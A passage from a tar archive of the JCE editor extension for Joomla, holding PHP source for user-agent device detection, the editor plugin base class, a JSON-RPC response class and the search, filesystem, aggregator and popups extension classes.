        $chMobile = $this->header('sec-ch-ua-mobile');

        if ($chMobile !== '') {
            // If it's explicitly not mobile, likely desktop.
            if (strpos($chMobile, '?0') !== false) {
                return 'desktop';
            }
            // If mobile, we still need to decide phone vs tablet via UA heuristics.
        }

        // 2) Tablets first (avoid misclassifying as phone)
        if ($this->isIPad($ua)) {
            return 'tablet';
        }

        if ($this->isAndroidTablet($ua)) {
            return 'tablet';
        }

        // Some common tablet tokens
        if ($this->match($ua, '(tablet|kindle|silk|playbook|nexus\s(7|9|10)|sm-t\d+)')) {
            return 'tablet';
        }

        // 3) Phones
        if ($this->match($ua, '(mobi|iphone|ipod|windows\sphone|blackberry|bb10)')) {
            return 'phone';
        }

        if ($this->isAndroidPhone($ua)) {
            return 'phone';
        }

        // 4) Default
        return 'desktop';
    }

    private function isIPad($ua)
    {
        // Classic iPad
        if (stripos($ua, 'iPad') !== false) {
            return true;
        }

        // iPadOS 13+: often reports as Macintosh; include "Mobile" when in mobile mode
        // Common heuristic: Macintosh + Mobile + Safari => iPad
        if (stripos($ua, 'Macintosh') !== false && stripos($ua, 'Mobile') !== false) {
            return true;
        }

        return false;
    }

    private function isAndroidTablet($ua)
    {
        // Android tablet typically has "Android" but NOT "Mobile"
        return (stripos($ua, 'Android') !== false && stripos($ua, 'Mobile') === false);
    }

    private function isAndroidPhone($ua)
    {
        // Android phone typically has Android + Mobile
        return (stripos($ua, 'Android') !== false && stripos($ua, 'Mobile') !== false);
    }

    private function match($ua, $pattern)
    {
        return (bool) preg_match('#' . $pattern . '#i', $ua);
    }

    private function header($name)
    {
        $key = strtolower($name);
        return isset($this->headers[$key]) ? $this->headers[$key] : '';
    }

    private function readHeaders()
    {
        $out = array();

        foreach ($_SERVER as $k => $v) {
            if (!\is_string($v)) {
                continue;
            }

            // Convert HTTP_FOO_BAR to foo-bar
            if (strpos($k, 'HTTP_') === 0) {
                $name = strtolower(str_replace('_', '-', substr($k, 5)));
                $out[$name] = $v;
            }
        }

        // Some servers expose these differently
        if (isset($_SERVER['CONTENT_TYPE']) && \is_string($_SERVER['CONTENT_TYPE'])) {
            $out['content-type'] = $_SERVER['CONTENT_TYPE'];
        }

        return $out;
    }
}com_jce/editor/libraries/classes/plugin.php000060400000045230152453734450015065 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

/**
 * JCE class.
 */
class WFEditorPlugin extends CMSObject
{
    // Editor Plugin instance
    private static $instance;

    // array of alerts
    private $_alerts = array();

    // plugin name
    protected $name = '';

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        // Call parent
        parent::__construct();

        // get plugin name from url, fallback to default name if set
        $name = Factory::getApplication()->input->getCmd('plugin', $this->get('name'));

        // get name and caller from plugin name
        if (strpos($name, '.') !== false) {
            list($name, $caller) = explode('.', $name);

            // validate then store caller
            if ($caller !== $name) {

                $profile = $this->getProfile();

                if (!empty($profile)) {
                    if (in_array($caller, explode(',', $profile->plugins))) {
                        $this->set('caller', $caller);
                    }
                }
            }
        }

        // re-set the "name" value
        $this->set('name', $name);

        if (!array_key_exists('base_path', $config)) {
            $config['base_path'] = WF_EDITOR_PLUGINS . '/' . $name;
        }

        if (!defined('WF_EDITOR_PLUGIN')) {
            define('WF_EDITOR_PLUGIN', $config['base_path']);
        }

        if (!array_key_exists('view_path', $config)) {
            $config['view_path'] = $config['base_path'];
        }

        if (!array_key_exists('layout', $config)) {
            $config['layout'] = 'default';
        }

        if (!array_key_exists('template_path', $config)) {
            $config['template_path'] = $config['base_path'] . '/tmpl';
        }

        $this->setProperties($config);
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $browser =JCE::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    /**
     * Get plugin View.
     *
     * @return WFView
     */
    public function getView()
    {
        static $view;

        if (!is_object($view)) {

            // create plugin view
            $view = new WFView(array(
                'view_path' => $this->get('base_path'),
                'template_path' => $this->get('template_path'),
                'name' => $this->get('name'),
                'layout' => $this->get('layout')
            ));
        }

        $view->plugin = $this;

        return $view;
    }

    protected function getVersion()
    {
        $wf = WFApplication::getInstance();

        return $wf->getVersion();
    }

    protected function getProfile($plugin = '')
    {
        $wf = WFApplication::getInstance();

        $options = array(
            'plugin' => $plugin
        );

        // get all profiles
        return $wf->getActiveProfile($options);
    }

    protected function getPluginVersion()
    {
        $manifest = $this->get('base_path') . '/' . $this->get('name') . '.xml';

        $version = '';

        if (is_file($manifest)) {
            $version = md5_file($manifest);
        }

        return $version;
    }

    protected function isRtl()
    {
        $language = Factory::getLanguage();

        if ($language->getTag() === WFLanguage::getTag()) {
            return $language->isRTL();
        }

        return false;
    }

    protected function initialize()
    {
        $app = Factory::getApplication();
        $wf = WFApplication::getInstance();

        $version = $this->getVersion();
        $name = $this->getName();

        // set default plugin version
        $plugin_version = $this->getPluginVersion();

        // add plugin version
        if ($plugin_version && $plugin_version != $version) {
            $version .= $plugin_version;
        }

        // default ui theme
        $theme = 'light';

        // get editor theme
        $editor_theme = $wf->getParam('editor.toolbar_theme', 'modern');

        // set ui theme variant
        if ($editor_theme == 'modern.dark') {
            $theme = 'dark';
        }

        // create the document
        $document = WFDocument::getInstance(array(
            'version' => $version,
            'title' => Text::_('WF_' . strtoupper($this->getName() . '_TITLE')),
            'name' => $name,
            'language' => WFLanguage::getTag(),
            'direction' => $this->isRtl() ? 'rtl' : 'ltr',
            'compress_javascript' => $this->getParam('editor.compress_javascript', 0),
            'compress_css' => $this->getParam('editor.compress_css', 0),
            'theme' => 'uk-jce-theme-' . $theme
        ));

        // set standalone mode
        $document->set('standalone', $wf->input->getInt('standalone', 0));

        Factory::getApplication()->triggerEvent('onWfPluginInit', array($this));
    }

    public function execute($task)
    {
        if ($task == 'loadlanguages') {
            return $this->loadlanguages();
        }
        
        $this->initialize();

        // process requests if any - method will end here
        WFRequest::getInstance()->process();

        $this->display();

        $document = WFDocument::getInstance();

        $query = array(
            'task' => 'plugin.loadlanguages', 
            'lang' => WFLanguage::getCode()
        );

        // ini language
        $document->addScript(
            Uri::base(true) . '/index.php?option=com_jce&' . $document->getQueryString($query), 'joomla'
        );

        // pack assets if required
        $document->pack(true, $this->getParam('editor.compress_gzip', 0));

        // get the view
        $view = $this->getView();

        // set body output
        $document->setBody($view->loadTemplate());

        $document->render();
    }

    protected function loadlanguages()
    {
        $name = $this->get('name');

        $parser = new WFLanguageParser(array(
            'plugins' => array('core' => array($name), 'external' => array()),
            'sections' => array('dlg', $name . '_dlg', 'colorpicker'),
            'mode' => 'plugin',
            'language' => WFLanguage::getTag(),
        ));

        $data = $parser->load();
        $parser->output($data);
    }

    /**
     * Display plugin.
     */
    public function display()
    {
        // check session on get request
        Session::checkToken('get') or jexit(Text::_('JINVALID_TOKEN'));

        $this->initialize();

        $document = WFDocument::getInstance();

        if ($document->get('standalone') == 0) {
            $document->addScript(array('tinymce.popup'), 'tinymce');
        }

        $document->addScript(array('jquery.min'), 'jquery');
        $document->addScript(array('jquery-ui.min'), 'jquery');

        $document->addScript(array('plugin.min.js'));
        $document->addStyleSheet(array('plugin.min.css'), 'media');

        // add custom plugin.css if exists
        if (is_file(JPATH_SITE . '/media/jce/css/plugin.css')) {
            $document->addStyleSheet(array('media/jce/css/plugin.css'), 'joomla');
        }

        Factory::getApplication()->triggerEvent('onWfPluginDisplay', array($this));
    }

    /**
     * Return the plugin name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->get('name');
    }

    /**
     * Return the plugin name.
     *
     * @return string
     */
    public function getCaller()
    {
        return $this->get('caller');
    }

    /**
     * Get default values for a plugin.
     * Key / Value pairs will be retrieved from the profile or plugin manifest.
     *
     * @param array $defaults
     *
     * @return array
     */
    public function getDefaults($fieldset = 'defaults', $options = array())
    {
        $name = $this->getName();
        $caller = $this->get('caller');

        if ($caller) {
            $name = $caller;
        }

        $defaults = array();
        $exclude = array();

        if (isset($options['defaults'])) {
            $defaults = $options['defaults'];
        }

        if (isset($options['exclude'])) {
            $exclude = $options['exclude'];
        }

        // get manifest path
        $manifest = $this->get('base_path') . '/' . $name . '.xml';

        // use the plugin name as the form
        $form_id = $name;

        // parameter group
        if (isset($options['group'])) {
            $name .= '.' . $options['group'];
        }

        if (isset($options['manifest'])) {
            $manifest = $options['manifest'];
            // create extension specific form id
            $form_id .= '.' . basename($manifest, '.xml');
        }

        // exclude custom attributes
        $exclude[] = 'attributes';

        // get parameter defaults
        if (is_file($manifest)) {
            $form = Form::getInstance('com_jce.plugin.' . $form_id, $manifest, array('load_data' => false), true, '//extension');
            $fields = $form->getFieldset($fieldset);

            foreach ($fields as $field) {
                $key = $field->getAttribute('name');

                if (!$key || $key === "buttons") {
                    continue;
                }

                if (in_array($key, $exclude)) {
                    continue;
                }

                $def = (string) $field->getAttribute('default');

                // get parameter default value if set, use the specific plugin
                $value = $this->getParam($name . '.' . $key, $def);

                // only use non-empty values
                if ($value !== '') {
                    $defaults[$key] = $value;
                }
            }
        }

        $customAttributes = $this->getParam($name . '.attributes', '');

        if ($customAttributes) {
            if (is_string($customAttributes)) {
                $customAttributes = json_decode($customAttributes, true);
            }

            if (!is_array($customAttributes)) {
                $customAttributes = array();
            }
            
            // Remove values with invalid key, must be indexed array
            $customAttributes = array_filter($customAttributes, function ($value, $key) {
                return is_numeric($key) && $value != "";
            }, ARRAY_FILTER_USE_BOTH);

            foreach ($customAttributes as $attribute) {
                if (empty($attribute)) {
                    continue;
                }

                $name = '';
                $value = '';

                // json associative array
                if (is_array($attribute) && array_key_exists('name', $attribute)) {
                    extract($attribute);
                }

                if ($name && $value !== '') {
                    $value = trim($value, " \t\n\r\0\x0B'\"");
                    $value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
                    $defaults[$name] = $value;
                }
            }
        }

        return $defaults;
    }

    public function getDefaultAttributes()
    {
        $defaults = $this->getDefaults();

        $attribs = array();
        $styles = array();

        foreach ($defaults as $key => $value) {
            switch ($key) {
                case 'align':
                    // convert to float
                    if ($value == 'left' || $value == 'right') {
                        $key = 'float';
                    } else {
                        $key = 'vertical-align';
                    }

                    // check for value and exclude border state parameter
                    if ($value != '') {
                        $styles[str_replace('_', '-', $key)] = $value;
                    }
                    break;
                case 'border_width':
                case 'border_style':
                case 'border_color':
                    // only if border state set
                    $value = $defaults['border'] ? $value : '';

                    // add px unit to border-width
                    if ($value && $key == 'border_width' && is_numeric($value)) {
                        $value .= 'px';
                    }

                    // check for value and exclude border state parameter
                    if ($value != '') {
                        $styles[str_replace('_', '-', $key)] = $value;
                    }

                    break;
                case 'margin_left':
                case 'margin_right':
                case 'margin_top':
                case 'margin_bottom':
                    // add px unit to border-width
                    if ($value && is_numeric($value)) {
                        $value .= 'px';
                    }

                    // check for value and exclude border state parameter
                    if ($value != '') {
                        $styles[str_replace('_', '-', $key)] = $value;
                    }

                    break;
                default:
                    if ($key == 'direction') {
                        $key = 'dir';
                    }

                    if ($key == 'classes') {
                        $key = 'class';
                    }

                    if ($value !== '') {
                        $attribs[$key] = $value;
                    }

                    break;
            }
        }

        // styles object
        if (!empty($styles)) {
            $attribs['styles'] = $styles;
        }

        return $attribs;
    }

    /**
     * Check the user is in an authorized group
     * Check the users group is authorized to use the plugin.
     *
     * @return bool
     */
    public function checkPlugin($plugin = null)
    {
        if ($plugin) {
            // check existence of plugin directory
            if (is_dir(WF_EDITOR_PLUGINS . '/' . $plugin)) {
                // get profile
                $profile = $this->getProfile($plugin);
                // check for valid object and profile id
                return is_object($profile) && isset($profile->id);
            }
        }

        return false;
    }

    /**
     * Add an alert array to the stack.
     *
     * @param object $class Alert classname
     * @param object $title Alert title
     * @param object $text  Alert text
     */
    protected function addAlert($class = 'info', $title = '', $text = '')
    {
        $alerts = $this->getAlerts();

        $alerts[] = array(
            'class' => $class,
            'title' => $title,
            'text' => $text,
        );

        $this->set('_alerts', $alerts);
    }

    /**
     * Get current alerts.
     *
     * @return array Alerts
     */
    private function getAlerts()
    {
        return $this->get('_alerts');
    }

    /**
     * Convert a url to path.
     *
     * @param    string     The url to convert
     *
     * @return string Full path to file
     */
    public function urlToPath($url)
    {
        $document = WFDocument::getInstance();

        return $document->urlToPath($url);
    }

    /**
     * Returns an image url.
     *
     * @param    string     The file to load including path and extension eg: libaries.image.gif
     *
     * @return string Image url
     */
    public function image($image, $root = 'libraries')
    {
        $document = WFDocument::getInstance();

        return $document->image($image, $root);
    }

    /**
     * Load & Call an extension.
     *
     * @param array $config
     *
     * @return array
     */
    protected function loadExtensions($type, $extension = null, $config = array())
    {
        return WFExtension::loadExtensions($type, $extension, $config);
    }

    /**
     * Compile plugin settings from defaults and alerts.
     *
     * @param array $settings
     *
     * @return array
     */
    public function getSettings($settings = array())
    {
        $default = array(
            'alerts' => $this->getAlerts(),
            'defaults' => $this->getDefaults(),
        );

        $settings = array_merge($default, $settings);

        return $settings;
    }

    public function getParams($options = array())
    {
        $wf = WFApplication::getInstance();

        return $wf->getParams($options);
    }

    /**
     * Get a parameter by key.
     *
     * @param string $key        Parameter key eg: editor.width
     * @param mixed  $fallback   Fallback value
     * @param mixed  $default    Default value
     * @param string $type       Variable type eg: string, boolean, integer, array
     *
     * @return mixed
     */
    public function getParam($key, $fallback = '', $default = '', $type = 'string')
    {
        // get plugin name
        $name = $this->getName();
        // get caller if any
        $caller = $this->get('caller');

        // get all keys
        $keys = explode('.', $key);
        $wf = WFApplication::getInstance();

        // root key set
        if ($keys[0] == 'editor' || $keys[0] == $name || $keys[0] == $caller) {
            return $wf->getParam($key, $fallback, $default, $type);
            // no root key set, treat as shared param
        } else {
            // get fallback param from editor key
            $fallback = $wf->getParam('editor.' . $key, $fallback, $default, $type);

            if ($caller) {
                // get fallback from plugin (with editor parameter as fallback)
                $fallback = $wf->getParam($name . '.' . $key, $fallback, $default, $type);
                $name = $caller;
            }

            // reset the $default to prevent clearing
            if ($fallback === $default) {
                $default = '';
            }

            // return parameter
            return $wf->getParam($name . '.' . $key, $fallback, $default, $type);
        }
    }

    /**
     * Named wrapper to check access to a feature.
     *
     * @param string    The feature to check, eg: upload
     * @param mixed        The defalt value
     *
     * @return bool
     */
    public function checkAccess($option, $default = 0)
    {
        return (bool) $this->getParam($option, $default);
    }

    protected function allowEvents()
    {
        if ((bool) $this->getParam('editor.allow_javascript')) {
            return true;
        }

        return (bool) $this->getParam('editor.allow_event_attributes');
    }
}
com_jce/editor/libraries/classes/response.php000060400000005117152453734450015425 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

final class WFResponse
{
    private $content = null;

    private $id = null;

    private $error = null;

    private $headers = array(
        'Content-Type' => 'application/json;charset=UTF-8',
    );

    /**
     * Constructor.
     *
     * @param $id Request id
     * @param null $content Response content
     * @param array $headers Optional headers
     */
    public function __construct($id, $content = null, $headers = array())
    {
        // et response content
        $this->setContent($content);

        // set id
        $this->id = $id;

        // set header
        $this->setHeaders($headers);

        return $this;
    }

    /**
     * Send response.
     *
     * @param array $data
     */
    public function send($data = array())
    {
        $data = array_merge($data, array(
            'jsonrpc' => '2.0',
            'id' => $this->id,
            'result' => $this->getContent(),
            'error' => $this->getError(),
        ));

        ob_start();

        // set output headers
        header('Expires: Mon, 04 Apr 1984 05:00:00 GMT');
        header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
        header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
        header('Pragma: no-cache');

        // set custom headers
        foreach ($this->headers as $key => $value) {
            header($key . ': ' . $value);
        }

        // only echo response if an id is set
        if (!empty($this->id)) {
            echo json_encode($data);
        }

        exit(ob_get_clean());
    }

    public function getHeader()
    {
        return $this->headers;
    }

    public function setHeaders($headers)
    {
        foreach ($headers as $key => $value) {
            $this->headers[$key] = $value;
        }

        return $this;
    }

    /**
     * @param array $error
     */
    public function setError($error = array('code' => -32603, 'message' => 'Internal error'))
    {
        $this->error = $error;

        return $this;
    }

    public function getError()
    {
        return $this->error;
    }

    public function getContent()
    {
        return $this->content;
    }

    public function setContent($content)
    {
        $this->content = $content;

        return $this;
    }
}
com_jce/editor/libraries/classes/extensions/search.php000060400000002570152453734450017233 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFSearchExtension extends WFExtension
{
    private static $instances = array();

    /**
     * Returns a reference to a plugin object.
     *
     * This method must be invoked as:
     *         <pre>  $advlink =AdvLink::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($type, $config = array())
    {
        if (!isset(self::$instances)) {
            self::$instances = array();
        }

        if (empty(self::$instances[$type])) {
            $file = WF_EDITOR . '/extensions/search/' . $type . '.php';

            if (is_file($file)) {
                require_once WF_EDITOR . '/extensions/search/' . $type . '.php';
            }

            $classname = 'WF' . ucfirst($type) . 'SearchExtension';

            if (class_exists($classname)) {
                self::$instances[$type] = new $classname($config);
            } else {
                self::$instances[$type] = new self();
            }
        }

        return self::$instances[$type];
    }
}
com_jce/editor/libraries/classes/extensions/filesystem.php000060400000016611152453734450020153 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;

class WFFileSystem extends WFExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        if (!isset($config['list_limit'])) {
            $config['list_limit'] = 50;
        }

        if (!isset($config['local'])) {
            $config['local'] = true;
        }

        if (!isset($config['readonly'])) {
            $config['readonly'] = false;
        }

        if (!isset($config['list_limit_options'])) {
            $config['list_limit_options'] = array(10, 25, 50, 0);
        }
        
        parent::__construct($config);
    }

    /**
     * Custom parameter function for Filesystems which contain complex values
     *
     * @param [string] $key Parameter key
     * @param string $default Default value to return
     * @return mixed Parameter value or default
     */
    public function getParam($key, $default = '')
    {
        $wf = WFEditorPlugin::getInstance();

        // get the filesystem plugin name
        $name = $this->get('name');

        // First, try from the editor context
        $value = $wf->getParam('editor.filesystem.' . $name . '.' . $key, $default);

        $fsConfig = $wf->getParam($wf->getName() . '.filesystem.' . $name);

        if (is_object($fsConfig) || $wf->getParam($wf->getName() . '.filesystem.name') == $name) {
            $fs = new Registry($fsConfig);
            $value = $fs->get($key, $default);
        }

        return $value;
    }

    /**
     * Returns a reference to a plugin object.
     */
    public static function getInstance($type = 'joomla', $config = array())
    {
        static $instances = array();

        $signature = md5($type . serialize($config));

        if (!isset($instances[$signature])) {
            $fs = parent::loadExtensions('filesystem', $type);

            // load the default...
            if (empty($fs)) {
                $fs = parent::loadExtensions('filesystem', 'joomla');
            }

            // get the first filesystem extension only
            if (is_array($fs)) {
                $fs = array_shift($fs);
            }

            $classname = 'WF' . ucfirst($fs->name) . 'FileSystem';

            // store the name
            $config['name'] = $fs->name;

            if (class_exists($classname)) {
                $instances[$signature] = new $classname($config);
            } else {
                $instances[$signature] = new self($config);
            }
        }

        return $instances[$signature];
    }

    /**
     * Get the base directory.
     *
     * @return string base dir
     */
    public function getBaseDir()
    {
        return JPATH_SITE;
    }

    /**
     * Get the full base url.
     *
     * @return string base url
     */
    public function getBaseURL()
    {
        return Uri::root(true);
    }

    /**
     * Return default directory for the filesystem.
     *
     * @return Relative path to the root directory
     */
    public function getRootDir()
    {
        $wf = WFEditorPlugin::getInstance();
        $name = $this->get('name');

        $allow_root = $wf->getParam('filesystem.' . $name . '.allow_root', 0);

        if ($allow_root) {
            return '';
        }

        return 'images';
    }

    protected static function sortItemsByKey($items, $type)
    {
        $sortable = array();

        // set default direction
        $direction = 'asc';

        if ($type[0] === '-') {
            $direction = 'desc';
            $type = substr($type, 1);
        }

        foreach ($items as $key => $item) {
            $sortable[$key] = isset($item[$type]) ? $item[$type] : $item['properties'][$type];
        }

        array_multisort($sortable, $direction === 'desc' ? SORT_DESC : SORT_ASC, SORT_NATURAL | SORT_FLAG_CASE, $items);

        return $items;
    }

    public function toAbsolute($path)
    {
        return $path;
    }

    public function toRelative($path)
    {
        return $path;
    }

    public function getTotalSize($path, $recurse = true)
    {
        return 0;
    }

    public function countFiles($path, $recurse = false)
    {
        return 0;
    }

    public function getFiles($path, $filter)
    {
        return array();
    }

    public function getFolders($path, $filter)
    {
        return array();
    }

    public function getSourceDir($path)
    {
        return $path;
    }

    public function getSourceDirFromFile($path)
    {
        if ($this->is_file($path)) {
            return $this->getSourceDir($path);
        }

        return $path;
    }

    public function isMatch($needle, $haystack)
    {
        return $needle == $haystack;
    }

    public function pathinfo($path)
    {
        return pathinfo($path);
    }

    public function delete($path)
    {
        return true;
    }

    public function createFolder($path, $new)
    {
        return true;
    }

    public function rename($src, $dest)
    {
        return true;
    }

    public function copy($src, $dest)
    {
        return true;
    }

    public function move($src, $dest)
    {
        return true;
    }

    public function getFolderDetails($path)
    {
        return array(
            'properties' => array('modified' => ''),
        );
    }

    public function getFileDetails($path)
    {
        $data = array(
            'properties' => array(
                'size' => '',
                'modified' => '',
            ),
        );

        if (preg_match('#\.(jpg|jpeg|bmp|gif|tiff|png)#i', $path)) {
            $image = array(
                'properties' => array(
                    'width' => 0,
                    'height' => 0,
                    'preview' => '',
                ),
            );

            return array_merge_recursive($data, $image);
        }

        return $data;
    }

    public function getDimensions($path)
    {
        return array(
            'width' => '',
            'height' => '',
        );
    }

    public function upload($method, $src, $dir, $name, $chunks = 0, $chunk = 0)
    {
        return true;
    }

    public function exists($path)
    {
        return true;
    }

    public function read($path)
    {
        return '';
    }

    public function write($path, $content)
    {
        return true;
    }

    public function isLocal()
    {
        return $this->get('local') === true;
    }

    public function is_file($path)
    {
        return true;
    }

    public function is_dir($path)
    {
        return true;
    }
}

/**
 * Filesystem Error class.
 */
final class WFFileSystemResult
{
    /*
     * @var Object type eg: file / folder
     */

    public $type = 'files';
    /*
     * @boolean    Result state
     */
    public $state = false;
    /*
     * @int    Error code
     */
    public $code = null;
    /*
     * @var Error message
     */
    public $message = null;
    /*
     * @var File / Folder path
     */
    public $path = null;
    /*
     * @var File / Folder url
     */
    public $url = null;
    /*
     * @var Original Source path
     */
    public $source = null;

    public function __construct() {}
}
com_jce/editor/libraries/classes/extensions/aggregator.php000060400000006741152453734450020114 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\Filesystem\Folder;

class WFAggregatorExtension extends WFExtension
{
    protected static $instance;

    /**
     * Returns a reference to a plugin object.
     *
     * This method must be invoked as:
     *         <pre>  $advlink =AdvLink::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    public function getName()
    {
        return $this->get('name');
    }

    public function getTitle()
    {
        return $this->get('title');
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $aggregators = $this->getAggregators();

        foreach ($aggregators as $aggregator) {
            $aggregator->display();

            $params = $aggregator->getParams();

            if (!empty($params)) {
                $document->addScriptDeclaration('WFExtensions.Aggregator.setParams("' . $aggregator->getName() . '",' . json_encode($params) . ');');
            }
        }
    }

    public function getAggregators()
    {
        static $aggregators;

        if (!isset($aggregators)) {
            $aggregators = array();
        }

        // get the aggregator format for this instance
        $format = $this->get('format');

        if (empty($aggregators[$format])) {

            // get a plugin instance
            $plugin = WFEditorPlugin::getInstance();

            $aggregators[$format] = array();

            $path = WF_EDITOR_EXTENSIONS . '/aggregator';
            $files = Folder::files($path, '\.php$', false, true);

            foreach ($files as $file) {
                require_once $file;

                $name = basename($file, '.php');
                $classname = 'WFAggregatorExtension_' . ucfirst($name);

                // only load if enabled
                if (class_exists($classname)) {
                    $aggregator = new $classname();

                    // check if enabled
                    if ($aggregator->isEnabled()) {
                        if ($aggregator->get('format') == $format) {
                            $aggregator->set('name', $name);
                            $aggregator->set('title', 'WF_AGGREGATOR_' . strtoupper($name) . '_TITLE');
                            $aggregators[$format][] = $aggregator;
                        }
                    }
                }
            }
        }

        return $aggregators[$format];
    }

    /**
     * @param object $player
     *
     * @return string
     */
    public function loadTemplate($name, $tpl = '')
    {
        $path = WF_EDITOR_EXTENSIONS . '/aggregator/' . $name;

        $output = '';

        $file = 'default.php';

        if ($tpl) {
            $file = 'default_' . $tpl . '.php';
        }

        if (file_exists($path . '/tmpl/' . $file)) {
            ob_start();

            include $path . '/tmpl/' . $file;

            $output .= ob_get_contents();
            ob_end_clean();
        }

        return $output;
    }
}
com_jce/editor/libraries/classes/extensions/popups.php000060400000010775152453734450017322 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\Filesystem\Path;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

class WFPopupsExtension extends WFExtension
{
    protected static $instance;

    private $_popups = array();
    private $_templates = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct($config);

        $this->setProperties($config);
    }

    /**
     * Returns a reference to a plugin object.
     *
     * This method must be invoked as:
     *    <pre>  $advlink =AdvLink::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since 1.5
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        // get all popups extensions
        $popups = parent::loadExtensions('popups');

        $config = $this->getProperties();

        if ($config) {
            // Create global config
            $document->addScriptDeclaration('WFExtensions.Popups.setConfig(' . json_encode($config) . ');');
        }

        // Create an instance of each popup and check if enabled
        foreach ($popups as $item) {
            $popup = $this->getPopupExtension($item->name);

            if ($popup->isEnabled()) {
                $this->addPopup($item);

                $params = $popup->getParams();

                if (!empty($params)) {
                    $document->addScriptDeclaration('WFExtensions.Popups.setParams("' . $item->name . '",' . json_encode($params) . ');');
                }
            }
        }

        $tabs = WFTabs::getInstance();

        // Add popup tab and assign popups reference to document
        if (count($this->getPopups())) {
            $tabs->addTab('popups');
            $panel = $tabs->getPanel('popups');
            $panel->popups = $this;
        }
    }

    private function getPopups()
    {
        return $this->_popups;
    }

    public function addPopup($popup)
    {
        $this->_popups[] = $popup;
    }

    private function getTemplates()
    {
        return $this->_templates;
    }

    public function addTemplate($template)
    {
        $this->_templates[] = $template;
    }

    private function getPopupExtension($name)
    {
        static $popups = array();

        if (!isset($popups[$name])) {
            $classname = 'WFPopupsExtension_' . ucfirst($name);
            $popups[$name] = new $classname();
        }

        return $popups[$name];
    }

    public function getPopupList()
    {
        $options = array();

        $options[] = HTMLHelper::_('select.option', '', '-- ' . Text::_('WF_POPUP_TYPE_SELECT') . ' --');

        foreach ($this->getPopups() as $popup) {
            $options[] = HTMLHelper::_('select.option', $popup->name, Text::_('WF_POPUPS_' . strtoupper($popup->name) . '_TITLE'));
        }

        return HTMLHelper::_('select.genericlist', $options, 'popup_list', '', 'value', 'text', $this->get('default'));
    }

    public function getPopupTemplates()
    {
        $output = '';

        foreach ($this->getTemplates() as $template) {
            $wf = WFEditorPlugin::getInstance();
            $view = $wf->getView();

            $output .= $view->loadTemplate($template);
        }

        foreach ($this->getPopups() as $popup) {
            $view = new WFView(array(
                'name' => $popup->name,
                'base_path' => $popup->path,
                'template_path' => $popup->path . '/tmpl',
            ));

            $instance = $this->getPopupExtension($popup->name);
            $view->popup = $instance;

            if (file_exists($popup->path . '/tmpl/default.php')) {
                ob_start();

                $output .= '<div id="popup_extension_' . $popup->name . '" style="display:none;">';

                $view->display();

                $output .= ob_get_contents();
                $output .= '</div>';
                ob_end_clean();
            }
        }

        return $output;
    }
}
com_jce/editor/libraries/classes/extensions/link.php000060400000015476152453734450016734 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

